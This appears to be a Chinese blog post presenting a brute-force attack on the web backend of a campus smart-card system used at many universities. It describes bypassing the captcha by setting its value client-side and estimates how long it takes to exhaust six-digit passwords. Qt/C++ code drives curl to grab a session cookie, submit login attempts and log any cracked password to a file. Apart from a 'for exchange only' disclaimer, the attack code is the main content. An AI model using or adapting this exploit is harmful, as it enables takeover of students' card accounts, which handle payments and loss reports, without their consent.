全国各大高校普遍采用哈尔滨新中新电子股份有限公司的“校园一卡通”运行日常校园内的各种应用,此系统提供了一个网站后台可以提供刷卡信息查询,丢卡挂失等操作。但该网站后台实现非常不严谨,存在很多的漏洞,根据乌云漏洞平台的数据2011年就有人提交这种网站的问题http://www.wooyun.org/bugs/wooyun-2011-03267,但是一直没有得到该厂家的重视和更新。
下面提供一个攻击测试用例,目的只在于交流,严禁用于非法用途。
一、漏洞分析
2.可以伪造ID提交登录网址
登录提交的网址一般是 http://IP:Port/loginstudent.action ,我们可以任意构造提交的内容,从网站所返回的数据来看是否成功。
原网站设定了刷新时限,就是一个session在10秒内不能重复提交登录信息,否则服务器会提示频繁过高。
二、过程理论分析
1.首先要有一个用户ID号,如果没有ID号就没办法了。
2.攻击获取密码,采用的办法是暴力破解,一个密码一个密码地试。
3.可行性分析。密码是6位数字,全部组合1000000个。由于网站限制10秒才能测试一个,假设一台机子有10个进程进行测试,基本上能达到1秒1个,1天24小时*60分钟*60秒=86400秒,100万/86400=11.57,也就是12天可以穷举,如果加大进程数量到50个,如果协同一致的话,可以把时间缩短到2.4天。
三、过程
CURL
curl是利用URL语法在命令行方式下工作的开源文件传输工具。它被广泛应用在Unix、多种Linux发行版中,并且有DOS和Win32、Win64下的移植版本。
能够极方便地进行http操作。
1.获取session ID,因为在提交密码登录的过程中要用到session ID,由系统分配,用于标识每次会话。
QString cmdline = "curl.exe "+ mServerAddress+ "/homeLogin.action -I -A \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\"";QProcess process_session; process_session.start(cmdline);if (!process_session.waitForReadyRead())return -1;QByteArray output = process_session.readAll();int index_1 = output.indexOf("Set-Cookie:", 110);cookie = output.mid(index_1+12, 43);qDebug()<< cookie;
session ID 保存在cookie中,后面直接指定让CURL读取cookie。
2.用这个ID获取一个验证码。
因为验证码完全由客户端指定,这个就好办多了,我们把它设为8888
QString imgCommand = "curl.exe "+ mServerAddress+ "/getCheckpic.action?rand=8888.560381874442 -I \-A \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\" \--cookie "+ cookie;QProcess process_img;process_img.start(imgCommand);if (!process_img.waitForFinished())qDebug()<<"process_img no finish\n";
3.提交用户名,密码等信息,检查返回的结果看是否成功。
post的字符串如下:用户名,用户类型(这个对一般用户都是1),密码,随机数rand设为8888, field照抄原网页内容即可
name=20010410221&userType=1&passwd=103020&loginType=2&rand=8888&imageField.x=26&imageField.y=12
QByteArray data;data = QByteArray("name=");data.append(mAccount);data.append("&userType=1&passwd=");data.append(mPasswd);data.append("&loginType=2&rand=1111&imageField.x=26&imageField.y=12");QString loginCmd = "curl.exe "+ mServerAddress+ "/loginstudent.action \-d " + data \+ "-A \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\" \--cookie "+ cookie;QProcess process_login;process_login.start(loginCmd);if (!process_login.waitForFinished())qDebug()<<"process_img no finish\n";qDebug()<<"passwd test using result : "<< mPasswd<<"\n";QByteArray result = process_login.readAll();if (result.contains("table")) //如果失败,返回结果中有table{index++;return 0;}else if(result.contains("frameset"))//如果成功的话,返回的结果中包括frameset{QFile file( "file.txt" );if ( file.open( QIODevice::Append) ) {QTextStream stream( &file );//成功的密码保存到一个文件中stream << mPasswd << "\n";file.close();return 1;}}else qDebug()<<"error\n"<<result;
可以去跑了。
这个地方还差一个密码字符串生成的部分,要想最有效地分工协作,必须在密码串方面共同进行区分。这个方面还没有实现。